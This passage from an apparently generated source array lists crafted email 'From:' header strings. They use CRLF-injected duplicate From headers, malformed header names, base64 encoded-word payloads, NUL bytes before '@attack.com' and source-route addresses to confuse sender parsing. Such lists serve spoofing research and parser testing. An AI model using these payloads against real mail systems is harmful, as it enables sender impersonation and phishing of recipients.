\r\nFrom:attacker@sina.cn,admin@live.com\r\n", + " From: \r\nFrom:Bob@gmail.com\r\n", + "From: <=?utf-8?RnJvbTpockAxMzkuY29tDQo==?=>", + " FrOM: \r\nFrom:(comment),(\r\n),wordword(comm\r\nent)(comment)\r\n", + " From:hr@live.com,Mike@outlook.com\r\n", + "From :attacker@sina.com\r\n", + " Fromÿ: \r\nFrom:webmaster@sina.cn\r\n", + "From: \r\nFrom:(hi)(comment),(comment),(\r\n)\r\n", + "From:wordword<@a.com:@b.com:security@139.com>,(hi),<@a.com:@b.com:webmaster@163.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTo8Qm9iQGZveG1haWwuY29tPiwoDQopLA0K=?=>", + " FrOM: \r\nFrom:(\r\n)<@a.com:@b.com:Mike@ymail.com>\r\n", + "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206c2VjdXJpdHlAaG90bWFpbC5jb20+KA0KKQ0K=?=>\u0000@attack.com", + "From:(comm\r\nent),(comm\r\nent),(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTooDQopPEBhLmNvbTpAYi5jb206aHJAZm94bWFpbC5jb20+LDxAcXEuY29tOkAxNjMuY29tOnNlY3VyaXR5QG91dGxvb2suY29tPigpDQo==?=>\u0000@attack.com", + " FrOM: \r\nFrom:wordword(comment)<@qq.com:@163.com:hr@top.com>\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBpY2xvdWQuY29tLA0K=?=>\u0000@attack.com", + " FrOM: \r\nFrom:\r\n", + "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTphZG1pbkBvdXRsb29rLmNvbT4oY29tbQ0KZW50KQ0K=?=>\u0000@attack.com", + " From:word(\r\n)<@qq.com:@163.com:attacker@sina.com>\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBnbWFpbC5jb20sKGNvbW1lbnQpLDxAcXEuY29tOkAxNjMuY29tOmF0dGFja2VyQHNpbmEuY24+LCwsLCgNCiksKGNvbW1lbnQpDQo==?=>\u0000@attack.com", + "From:<@gmail.com:@b.com:security@139.com>(comm\r\nent),(comment),<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", + " From: \r\nFrom:hr@139.com\r\n", + " Fromÿ: \r\nFrom:word(comm\r\nent)<@a.com:@b.com:key@163.com>(comm\r\nent)\r\n", + " From:,(hi),,,,\r\n", + "From: \r\nFrom:(\r\n)(),Mike@top.com,key@aliyun.com\r\n", + " From: \r\nFrom:word(comment),word(comm\r\nent).word(comment)<@gmail.com:@b.com:Alice@126.com>\r\n", + "From:hr@qq.com\r\n", + "From:admin@outlook.com,<@gmail.com:@b.com:admin@aliyun.com>()\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxockBtc24uY29tPixzZWN1cml0eUBxcS5jb20sQm9iQDE2My5jb20sPEBhLmNvbTpAYi5jb206d2VibWFzdGVyQGhvdG1haWwuY29tPg0K=?=>\u0000@attack.com", + " FrOM: \r\nFrom:wordword(comm\r\nent)(\r\n)\r\n", + " FrOM: \r\nFrom:(\r\n)<@a.com:@b.com:Bob@gmail.com>,Bob@qq.com,,\r\n", + " From: \r\nFrom:admin@icloud.com,\r\n", + "From: \r\nFrom:admin@icloud.com,(comment),admin@msn.com\r\n", + " From: \r\nFrom:attacker@sina.com,(comm\r\nent)(\r\n),word<@gmail.com:@b.com:hr@icloud.com>(comm\r\nent),word,Alice@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAdG9wLmNvbQ0K=?=>\u0000@attack.com", + "From: \r\nFrom:wordwordword\r\n", + " From: \r\nFrom:key@live.com,<@qq.com:@163.com:Alice@sohu.com>(),hr@163.com,<@gmail.com:@b.com:Alice@126.com>()\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCksLHdvcmQoaGkpPEBxcS5jb206QDE2My5jb206d2VibWFzdGVyQGNoaW5hLmNvbT4sDQo==?=>", + "From :,(),word()(hi)(\r\n)(comment)(hi)()\r\n", + "From: <@gmail.com:@b.com:Mike@aliyun.com>(hi)\r\n", + "From: \r\nFrom:,word(\r\n),,(hi)<@qq.com:@163.com:Alice@sohu.com>(comm\r\nent),word..(\r\n)\r\n", + " FrOM: \r\nFrom:,Bob@ymail.com,wordword(comment)...()\r\n", + " From: \r\nFrom:Bob@outlook.com\r\n", + "From: <=?utf-8?RnJvbTosKA0KKTxAZ21haWwuY29tOkBiLmNvbTpzZWN1cml0eUAxMjYuY29tPihjb21tZW50KQ0K=?=>", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jbixBbGljZUBsaXZlLmNvbSxhdHRhY2tlckBnbWFpbC5jb20NCg===?=>\u0000@attack.com", + "From: <@a.com:@b.com:admin@ymail.com>,Alice@126.com\r\n", + "From:admin@139.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCl3b3JkKGNvbW1lbnQpPEBnbWFpbC5jb206QGIuY29tOmFkbWluQHltYWlsLmNvbT4oDQopLEFsaWNlQHNpbmEuY29tLChjb21tDQplbnQpPEBhLmNvbTpAYi5jb206TWlrZUBsaXZlLmNvbT4oY29tbWVudCkNCg===?=>", + "From :(\r\n),,(\r\n),<@gmail.com:@b.com:hr@sina.cn>(\r\n),word,wordword()<@gmail.com:@b.com:key@foxmail.com>\r\n", + "From: \r\nFrom:wordword()\r\n", + " FrOM: \r\nFrom:wordword()<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", + "From:word(hi)<@qq.com:@163.com:Alice@sohu.com>,key@ymail.com,(comm\r\nent),<@a.com:@b.com:security@126.com>,()\r\n", + " From: \r\nFrom:admin@outlook.com,word(comm\r\nent)(comment)(comment)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPGhyQGljbG91ZC5jb20+KGNvbW0NCmVudCksKGhpKTxrZXlAeW1haWwuY29tLmNuPg0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTpBbGljZUAxMzkuY29tDQo==?=>\u0000@attack.com", + "From:Alice@ymail.com.cn,,word,(comment)\r\n", + " From: \r\nFrom:Mike@foxmail.com,hr@aliyun.com\r\n", + "From: hr@126.com\r\n", + "From:Alice@msn.com,wordwordword(comment)(\r\n),Mike@aliyun.com,(),word(comm\r\nent)(comm\r\nent)(hi)()<@a.com:@b.com:webmaster@163.com>,word(comm\r\nent)()\r\n", + " From: \r\nFrom:(),hr@hotmail.com,,(\r\n),admin@foxmail.com,\r\n", + "From: word<@qq.com:@163.com:admin@ymail.com>()\r\n", + "From: key@sohu.com\r\n", + " From: \r\nFrom:word.word(comment),(hi)(hi)\r\n", + "From: \r\nFrom:()<@gmail.com:@b.com:key@top.com>\r\n", + " Fromÿ: \r\nFrom:webmaster@china.com,,(\r\n)<@a.com:@b.com:Alice@top.com>(comment)\r\n", + " From:word()<@gmail.com:@b.com:Alice@foxmail.com>()\r\n", + "From:Mike@foxmail.com,hr@aliyun.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEFsaWNlQGxpdmUuY29tPigpLCgpLA0K=?=>", + "From: <=?utf-8?RnJvbTooDQopLCx3ZWJtYXN0ZXJAcXEuY29tLA0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxockBob3RtYWlsLmNvbT4oKQ0K=?=>", + " FrOM: \r\nFrom:attacker@139.com\r\n", + " FrOM: \r\nFrom:(hi)<@qq.com:@163.com:Mike@sina.cn>(comment),\r\n", + " From:\r\n", + "From: Alice@live.com,(hi),word(comment)(comment)\r\n", + " FrOM: \r\nFrom:()<@qq.com:@163.com:attacker@sina.cn>(hi),<@gmail.com:@b.com:hr@china.com>,word(comment)<@a.com:@b.com:Bob@163.com>,hr@hotmail.com,hr@ymail.com.cn,wordwordwordword(\r\n)<@qq.com:@163.com:Bob@126.com>(\r\n),wordword<@qq.com:@163.com:Alice@foxmail.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAMTI2LmNvbQ0K=?=>", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZChjb21tZW50KTxAcXEuY29tOkAxNjMuY29tOmhyQHRvcC5jb20+DQo==?=>\u0000@attack.com", + "From: ,Alice@hotmail.com\r\n", + "From :word<@a.com:@b.com:key@china.com>(),()(\r\n)\r\n", + " FrOM: \r\nFrom:word(\r\n)(comment),attacker@gmail.com,\r\n", + "From:word(comment),word(comm\r\nent),()<@qq.com:@163.com:Bob@ymail.com>(hi)\r\n", + "From: wordword()()\r\n", + "From :(),hr@hotmail.com,,(\r\n),admin@foxmail.com,\r\n", + "From: key@sina.cn,<@gmail.com:@b.com:security@ymail.com.cn>(),,word\r\n", + "From :attacker@163.com,hr@icloud.com\r\n", + " Fromÿ: \r\nFrom:admin@icloud.com\r\n", + " From:(comment),(hi),(comm\r\nent),word<@qq.com:@163.com:Alice@gmail.com>,,\r\n", + " From: \r\nFrom:key@sina.cn,<@gmail.com:@b.com:security@ymail.com.cn>(),,word\r\n", + "From: <@gmail.com:@b.com:security@hotmail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTosLHdvcmR3b3JkPHdlYm1hc3RlckB5bWFpbC5jb20uY24+LCwNCg===?=>", + " FrOM: \r\nFrom:<@gmail.com:@b.com:security@139.com>(comm\r\nent),(comment),<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmQoY29tbWVudCk8c2VjdXJpdHlAZm94bWFpbC5jb20+LA0K=?=>\u0000@attack.com", + " From: \r\nFrom:(),webmaster@ymail.com\r\n", + "From :attacker@sina.com,(hi),(comment),(comment)\r\n", + "From: \r\nFrom:(),webmaster@ymail.com\r\n", + "From :attacker@126.com\r\n", + "From:,(\r\n),()<@a.com:@b.com:hr@top.com>(hi)\r\n", + " FrOM: \r\nFrom:Alice@live.com,(hi),word(comment)(comment)\r\n", + " Fromÿ: \r\nFrom:,word(\r\n),,(hi)<@qq.com:@163.com:Alice@sohu.com>(comm\r\nent),word..(\r\n)\r\n", + "From :<@gmail.com:@b.com:security@139.com>(comm\r\nent),(comment),<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", + "From:hr@icloud.com\r\n", + "From :()<@qq.com:@163.com:attacker@sina.cn>(hi),<@gmail.com:@b.com:hr@china.com>,word(comment)<@a.com:@b.com:Bob@163.com>,hr@hotmail.com,hr@ymail.com.cn,wordwordwordword(\r\n)<@qq.com:@163.com:Bob@126.com>(\r\n),wordword<@qq.com:@163.com:Alice@foxmail.com>(comment)\r\n", + " FrOM: \r\nFrom:(),webmaster@gmail.com\r\n", + "From:,wordword<@gmail.com:@b.com:Mike@aliyun.com>,\r\n", + " From: \r\nFrom:\r\n", + "From :,hr@icloud.com,,(hi)\r\n", + "From: admin@139.com\r\n", + "From:key@foxmail.com,\r\n", + " From:admin@aliyun.com,security@outlook.com\r\n", + "From: admin@icloud.com,(comment),admin@msn.com\r\n", + "From :<@gmail.com:@b.com:Mike@aliyun.com>(hi)\r\n", + " FrOM: \r\nFrom:security@china.com\r\n", + "From :Mike@foxmail.com,webmaster@qq.com,attacker@sina.com,Alice@msn.com\r\n", + " Fromÿ: \r\nFrom:,Alice@hotmail.com\r\n", + "From :,key@icloud.com\r\n", + "From: ()<@qq.com:@163.com:hr@gmail.com>,webmaster@foxmail.com\r\n", + "From: <=?utf-8?RnJvbTpCb2JAcXEuY29tDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTpCb2JAMTYzLmNvbQ0K=?=>", + "From: word<@a.com:@b.com:Bob@sina.cn>()\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8QGdtYWlsLmNvbTpAYi5jb206a2V5QHNvaHUuY29tPg0K=?=>\u0000@attack.com", + " From: \r\nFrom:(),webmaster@gmail.com\r\n", + " From: \r\nFrom:word<@qq.com:@163.com:security@163.com>,Bob@top.com\r\n", + "From: \r\nFrom:Mike@foxmail.com,webmaster@qq.com,attacker@sina.com,Alice@msn.com\r\n", + " Fromÿ: \r\nFrom:,Bob@sohu.com\r\n", + " From: \r\nFrom:,(\r\n),()<@a.com:@b.com:hr@top.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTo8d2VibWFzdGVyQHNpbmEuY24+DQo==?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:Alice@139.com\r\n", + "From:(hi)(comment),(comment),(\r\n)\r\n", + " From: \r\nFrom:(comm\r\nent),(comm\r\nent),,admin@icloud.com,attacker@ymail.com,,\r\n", + " From:hr@qq.com,word,Mike@126.com\r\n", + " Fromÿ: \r\nFrom:(),webmaster@gmail.com\r\n", + " FrOM: \r\nFrom:,,word(comm\r\nent)(comment),,,wordword<@qq.com:@163.com:security@sina.com>\r\n", + "From :,(comment),,key@live.com,,(hi),\r\n", + " FrOM: \r\nFrom:<@gmail.com:@b.com:security@hotmail.com>(\r\n)\r\n", + " From:(comm\r\nent)\r\n", + " Fromÿ: \r\nFrom:key@139.com,hr@msn.com\r\n", + "From: word<@a.com:@b.com:admin@china.com>()\r\n", + "From: \r\nFrom:()<@qq.com:@163.com:hr@gmail.com>,webmaster@foxmail.com\r\n", + "From: security@icloud.com\r\n", + "From: word(comm\r\nent)..()<@qq.com:@163.com:Alice@outlook.com>,webmaster@foxmail.com\r\n", + " From:<@gmail.com:@b.com:security@139.com>(comm\r\nent),(comment),<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTooKSxhdHRhY2tlckBzaW5hLmNuLCwoDQopDQo==?=>", + "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206Qm9iQHNpbmEuY24+KCkNCg===?=>\u0000@attack.com", + "From: \r\nFrom:(comment),,,Alice@icloud.com\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAYS5jb206QGIuY29tOnNlY3VyaXR5QDEzOS5jb20+LChoaSk8QWxpY2VAMTI2LmNvbT4sPEBhLmNvbTpAYi5jb206d2VibWFzdGVyQDE2My5jb20+KA0KKQ0K=?=>\u0000@attack.com", + "From :word.(comment)\r\n", + " FrOM: \r\nFrom:word.()word.(comment)word(comment)<@qq.com:@163.com:webmaster@live.com>,Bob@aliyun.com,word<@a.com:@b.com:Mike@sohu.com>,Mike@139.com,webmaster@163.com\r\n", + " FrOM: \r\nFrom:(),,word()\r\n", + " FrOM: \r\nFrom:Mike@hotmail.com,(comm\r\nent)<@qq.com:@163.com:admin@ymail.com.cn>(comment),wordword(comm\r\nent)\r\n", + "From: <@a.com:@b.com:webmaster@live.com>(hi)\r\n", + " Fromÿ: \r\nFrom:wordword()()\r\n", + "From: \r\nFrom:word.()word.(comment)word(comment)<@qq.com:@163.com:webmaster@live.com>,Bob@aliyun.com,word<@a.com:@b.com:Mike@sohu.com>,Mike@139.com,webmaster@163.com\r\n", + "From: ,,wordword,,\r\n", + " FrOM: \r\nFrom:(hi),word(\r\n)<@gmail.com:@b.com:Mike@outlook.com>(comment)\r\n", + "From:Bob@outlook.com\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBzaW5hLmNvbSwoY29tbQ0KZW50KTxzZWN1cml0eUBob3RtYWlsLmNvbT4oDQopLHdvcmQ8QGdtYWlsLmNvbTpAYi5jb206aHJAaWNsb3VkLmNvbT4oY29tbQ0KZW50KSx3b3JkPGtleUBnbWFpbC5jb20+LEFsaWNlQGhvdG1haWwuY29tDQo==?=>\u0000@attack.com", + " FrOM: \r\nFrom:Bob@foxmail.com\r\n", + "From:Alice@sina.cn,Alice@foxmail.com,hr@icloud.com\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZChjb21tZW50KTxAcXEuY29tOkAxNjMuY29tOmhyQHRvcC5jb20+DQo==?=>", + "From: <=?utf-8?RnJvbTooaGkpLChoaSk8Qm9iQG1zbi5jb20+DQo==?=>\u0000@attack.com", + "From: \r\nFrom:webmaster@china.com,,(\r\n)<@a.com:@b.com:Alice@top.com>(comment)\r\n", + " From:word(comment)<@gmail.com:@b.com:hr@ymail.com.cn>\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206Qm9iQHNpbmEuY24+KCkNCg===?=>", + " From: \r\nFrom:,(comm\r\nent),Mike@icloud.com,(comm\r\nent)(comm\r\nent)\r\n", + "From :,(\r\n)<@gmail.com:@b.com:security@126.com>(comment)\r\n", + " From:Alice@139.com\r\n", + " From:,,<@qq.com:@163.com:Bob@ymail.com.cn>(comm\r\nent)\r\n", + "From :Alice@gmail.com,(comment),<@qq.com:@163.com:attacker@sina.cn>,,,,(\r\n),(comment)\r\n", + "From:security@icloud.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEFsaWNlQGxpdmUuY29tPiwsKGNvbW1lbnQpLA0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBvdXRsb29rLmNvbQ0K=?=>", + "From:Bob@gmail.com\r\n", + " From:(),hr@hotmail.com,,(\r\n),admin@foxmail.com,\r\n", + "From: \r\nFrom:,,word(comm\r\nent)(comment),,,wordword<@qq.com:@163.com:security@sina.com>\r\n", + "From: word.word(comment),(hi)(hi)\r\n", + "From :,(\r\n),\r\n", + " From:wordword()\r\n", + " From: \r\nFrom:(),,word()\r\n", + "From: <=?utf-8?RnJvbTp3b3JkLi4oKShjb21tDQplbnQpPEJvYkBsaXZlLmNvbT4NCg===?=>", + " From: \r\nFrom:security@icloud.com\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBpY2xvdWQuY29tLChjb21tZW50KSxhZG1pbkBtc24uY29tDQo==?=>", + " From: \r\nFrom:hr@163.com,(hi)<@gmail.com:@b.com:hr@ymail.com.cn>,hr@aliyun.com\r\n", + "From :admin@ymail.com.cn,(comment)\r\n", + "From :wordword()<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAYS5jb206QGIuY29tOkFsaWNlQGZveG1haWwuY29tPg0K=?=>\u0000@attack.com", + "From:key@sina.cn\r\n", + " FrOM: \r\nFrom:word(comment),word(comm\r\nent),()<@qq.com:@163.com:Bob@ymail.com>(hi)\r\n", + "From: Bob@qq.com\r\n", + " FrOM: \r\nFrom:(hi)<@qq.com:@163.com:Mike@aliyun.com>(comm\r\nent)\r\n", + " Fromÿ: \r\nFrom:(),<@gmail.com:@b.com:hr@sohu.com>,Mike@ymail.com,,,\r\n", + "From :(comm\r\nent),webmaster@hotmail.com,(\r\n)\r\n", + "From: \r\nFrom:,hr@live.com,(comment)\r\n", + "From: security@china.com,Mike@top.com\r\n", + "From :key@sohu.com\r\n", + "From: <=?utf-8?RnJvbTosd29yZCgNCikoY29tbQ0KZW50KSgpPEBhLmNvbTpAYi5jb206c2VjdXJpdHlAbGl2ZS5jb20+LCwNCg===?=>", + "From :<@qq.com:@163.com:hr@163.com>(hi),Alice@126.com\r\n", + " From:word..()(comm\r\nent)\r\n", + "From: \r\nFrom:Alice@msn.com,wordwordword(comment)(\r\n),Mike@aliyun.com,(),word(comm\r\nent)(comm\r\nent)(hi)()<@a.com:@b.com:webmaster@163.com>,word(comm\r\nent)()\r\n", + "From: <=?utf-8?RnJvbTprZXlAc29odS5jb20NCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpzZWN1cml0eUBzaW5hLmNvbT4oY29tbQ0KZW50KSxzZWN1cml0eUAxNjMuY29tLEFsaWNlQGxpdmUuY29tLHdlYm1hc3RlckBnbWFpbC5jb20sd2VibWFzdGVyQHRvcC5jb20NCg===?=>\u0000@attack.com", + "From: hr@top.com,Mike@sina.com\r\n", + "From: \r\nFrom:word..()(comm\r\nent)\r\n", + "From: ,word(\r\n),,(hi)<@qq.com:@163.com:Alice@sohu.com>(comm\r\nent),word..(\r\n)\r\n", + " Fromÿ: \r\nFrom:security@china.com,Mike@top.com\r\n", + " From: \r\nFrom:attacker@hotmail.com,Bob@outlook.com\r\n", + " FrOM: \r\nFrom:,word(\r\n)(comm\r\nent)()<@a.com:@b.com:security@live.com>,,\r\n", + "From: word(comm\r\nent)<@gmail.com:@b.com:Alice@top.com>(hi)\r\n", + "From: \r\nFrom:hr@top.com,Mike@sina.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxhZG1pbkBnbWFpbC5jb20+KGNvbW0NCmVudCksTWlrZUB5bWFpbC5jb20NCg===?=>", + " Fromÿ: \r\nFrom:,,(comm\r\nent),word()(comment)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEFsaWNlQDEzOS5jb20+KGNvbW1lbnQpLCgNCikNCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3JkLndvcmQ8Qm9iQHNpbmEuY29tPihjb21tZW50KSwoaGkpPGF0dGFja2VyQGljbG91ZC5jb20+KGhpKQ0K=?=>", + "From: \r\nFrom:wordwordwordwordwordwordwordword(comment)<@gmail.com:@b.com:admin@foxmail.com>\r\n", + " FrOM: \r\nFrom:admin@outlook.com,word(comm\r\nent)(comment)(comment)\r\n", + "From: \r\nFrom:webmaster@qq.com\r\n", + " FrOM: \r\nFrom:,hr@139.com\r\n", + " Fromÿ: \r\nFrom:\r\n", + "From :()<@qq.com:@163.com:hr@gmail.com>,webmaster@foxmail.com\r\n", + " FrOM: \r\nFrom:,(hi),,,,\r\n", + " FrOM: \r\nFrom:word,word(hi)\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBvdXRsb29rLmNvbQ0K=?=>\u0000@attack.com", + "From: Mike@163.com,webmaster@139.com\r\n", + " From: \r\nFrom:,Bob@sohu.com\r\n", + " From: \r\nFrom:(comment),(\r\n),wordword(comm\r\nent)(comment)\r\n", + " From: \r\nFrom:key@ymail.com.cn,Bob@icloud.com\r\n", + "From: \r\nFrom:<@a.com:@b.com:Mike@ymail.com.cn>\r\n", + "From :word()(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTooKSw8QGdtYWlsLmNvbTpAYi5jb206aHJAc29odS5jb20+LE1pa2VAeW1haWwuY29tLCwsDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3JkPHdlYm1hc3RlckB0b3AuY29tPihjb21tDQplbnQpLCwsLCwoY29tbQ0KZW50KQ0K=?=>", + "From:webmaster@ymail.com.cn\r\n", + "From: key@ymail.com.cn,Bob@icloud.com\r\n", + "From: <=?utf-8?RnJvbTosKGhpKTxockB5bWFpbC5jb20+LCwsLA0K=?=>", + "From: \r\nFrom:word(comm\r\nent)<@gmail.com:@b.com:security@ymail.com.cn>(comment)\r\n", + "From: \r\nFrom:hr@163.com\r\n", + "From:word(comm\r\nent)word(comment)<@gmail.com:@b.com:admin@ymail.com>(\r\n),Alice@sina.com,(comm\r\nent)<@a.com:@b.com:Mike@live.com>(comment)\r\n", + "From: \r\nFrom:webmaster@aliyun.com,word.(comm\r\nent)(comm\r\nent)(hi)(comm\r\nent)<@gmail.com:@b.com:Alice@126.com>(),key@gmail.com\r\n", + "From:()\r\n", + " From: \r\nFrom:key@sohu.com\r\n", + " Fromÿ: \r\nFrom:word<@gmail.com:@b.com:Mike@qq.com>(comment),Alice@163.com,\r\n", + "From: admin@icloud.com,\r\n", + "From: \r\nFrom:Mike@top.com\r\n", + "From:(comm\r\nent)<@qq.com:@163.com:attacker@hotmail.com>(comment),attacker@139.com\r\n", + "From:word(comm\r\nent)<@gmail.com:@b.com:key@sohu.com>\r\n", + "From: \r\nFrom:key@live.com,<@qq.com:@163.com:Alice@sohu.com>(),hr@163.com,<@gmail.com:@b.com:Alice@126.com>()\r\n", + "From :Mike@msn.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKCk8Qm9iQG1zbi5jb20+KGNvbW0NCmVudCkNCg===?=>", + "From:word<@a.com:@b.com:webmaster@hotmail.com>(comment),,(comm\r\nent),,(\r\n),\r\n", + " From: \r\nFrom:(comment),,,Alice@icloud.com\r\n", + "From: attacker@sina.com,(hi),(comment),(comment)\r\n", + " From:key@sina.cn,<@gmail.com:@b.com:security@ymail.com.cn>(),,word\r\n", + "From:security@sohu.com\r\n", + "From :Mike@ymail.com.cn,attacker@139.com\r\n", + " From: \r\nFrom:,(comment)<@a.com:@b.com:Alice@sina.com>\r\n", + " From: \r\nFrom:key@sina.com,key@foxmail.com\r\n", + " From: \r\nFrom:,Bob@ymail.com,wordword(comment)...()\r\n", + "From: <=?utf-8?RnJvbTprZXlAc29odS5jb20NCg===?=>", + " Fromÿ: \r\nFrom:hr@163.com\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxockBhbGl5dW4uY29tPigpDQo==?=>", + " Fromÿ: \r\nFrom:word<@gmail.com:@b.com:key@ymail.com.cn>(\r\n)\r\n", + "From: \r\nFrom:key@foxmail.com,\r\n", + "From:word.(comment)\r\n", + " From:Mike@hotmail.com,(comm\r\nent)<@qq.com:@163.com:admin@ymail.com.cn>(comment),wordword(comm\r\nent)\r\n", + "From :,(comment)<@a.com:@b.com:Alice@sina.com>\r\n", + " FrOM: \r\nFrom:Bob@aliyun.com,(\r\n)<@a.com:@b.com:Alice@sina.com>,Alice@china.com\r\n", + "From: \r\n", + "From: (\r\n)<@a.com:@b.com:Mike@ymail.com>\r\n", + "From: <=?utf-8?RnJvbTpCb2JAYWxpeXVuLmNvbSwoDQopPEBhLmNvbTpAYi5jb206QWxpY2VAc2luYS5jb20+LEFsaWNlQGNoaW5hLmNvbQ0K=?=>", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBob3RtYWlsLmNvbSxCb2JAb3V0bG9vay5jb20NCg===?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:hr@139.com\r\n", + "From: \r\nFrom:Bob@sohu.com,\r\n", + " FrOM: \r\nFrom:Alice@126.com,<@gmail.com:@b.com:Mike@hotmail.com>(hi)\r\n", + " From: \r\nFrom:wordwordwordword(),webmaster@china.com\r\n", + "From: \r\nFrom:word(\r\n)<@a.com:@b.com:admin@ymail.com>(hi),hr@top.com\r\n", + "From: \r\nFrom:Bob@outlook.com\r\n", + " FrOM: \r\nFrom:admin@icloud.com\r\n", + " From:Mike@foxmail.com,Bob@163.com\r\n", + "From :,(),(hi),Bob@139.com,,(),\r\n", + "From :,Mike@china.com,\r\n", + "From:attacker@gmail.com\r\n", + " From: \r\nFrom:wordword,security@qq.com,Bob@163.com,<@a.com:@b.com:webmaster@hotmail.com>\r\n", + "From: <=?utf-8?RnJvbTosQm9iQHNvaHUuY29tDQo==?=>\u0000@attack.com", + " From: \r\nFrom:<@a.com:@b.com:attacker@outlook.com>,admin@msn.com,key@163.com,webmaster@msn.com,attacker@hotmail.com,Alice@aliyun.com,(comm\r\nent)<@qq.com:@163.com:Alice@126.com>()\r\n", + "From: <=?utf-8?RnJvbTosLDxAcXEuY29tOkAxNjMuY29tOkJvYkB5bWFpbC5jb20uY24+KGNvbW0NCmVudCkNCg===?=>\u0000@attack.com", + " From: \r\nFrom:\r\n", + "From: wordwordword(comment),\r\n", + " From: \r\nFrom:(),,wordword()<@qq.com:@163.com:Alice@139.com>(\r\n),\r\n", + " From: \r\nFrom:word(comm\r\nent)(comm\r\nent),wordword<@qq.com:@163.com:admin@icloud.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTooaGkpPEBxcS5jb206QDE2My5jb206TWlrZUBhbGl5dW4uY29tPihjb21tDQplbnQpDQo==?=>", + "From: \r\nFrom:Alice@outlook.com\r\n", + " FrOM: \r\nFrom:,admin@icloud.com\r\n", + " FrOM: \r\nFrom:key@ymail.com.cn,Bob@icloud.com\r\n", + "From: <=?utf-8?RnJvbTo8Qm9iQGhvdG1haWwuY29tPixockAxMzkuY29tDQo==?=>", + " From:security@china.com\r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUBzb2h1LmNvbQ0K=?=>", + " Fromÿ: \r\nFrom:webmaster@icloud.com,wordwordword(comment),admin@foxmail.com,\r\n", + " From:\r\n", + " From:(\r\n)<@a.com:@b.com:hr@foxmail.com>,<@qq.com:@163.com:security@outlook.com>()\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBzaW5hLmNuLChoaSksKGNvbW1lbnQpLCwsDQo==?=>\u0000@attack.com", + "From: \r\nFrom:word<@a.com:@b.com:admin@china.com>()\r\n", + " Fromÿ: \r\nFrom:(comment),(),,(comm\r\nent)<@a.com:@b.com:Mike@126.com>,(\r\n)<@gmail.com:@b.com:Alice@hotmail.com>,,(\r\n),(hi),(comm\r\nent),,,\r\n", + " Fromÿ: \r\nFrom:(comment),,,Alice@icloud.com\r\n", + "From: \r\nFrom:word.word(comment),(hi)(hi)\r\n", + " From:attacker@sina.cn,admin@live.com\r\n", + " FrOM: \r\nFrom:,attacker@hotmail.com\r\n", + "From: (comment),(),,(comm\r\nent)<@a.com:@b.com:Mike@126.com>,(\r\n)<@gmail.com:@b.com:Alice@hotmail.com>,,(\r\n),(hi),(comm\r\nent),,,\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUB5bWFpbC5jb20uY24sDQo==?=>", + " From: \r\nFrom:wordwordword(comment),\r\n", + "From: key@outlook.com\r\n", + "From: <=?utf-8?RnJvbTo8Qm9iQGhvdG1haWwuY29tPixockAxMzkuY29tDQo==?=>\u0000@attack.com", + "From:wordwordword\r\n", + " From: \r\nFrom:Mike@163.com,webmaster@139.com\r\n", + " Fromÿ: \r\nFrom:Bob@qq.com\r\n", + "From: \r\nFrom:<@gmail.com:@b.com:attacker@sina.com>(\r\n),,,(hi),(\r\n),Alice@icloud.com\r\n", + "From: word(comment)<@gmail.com:@b.com:hr@ymail.com.cn>\r\n", + 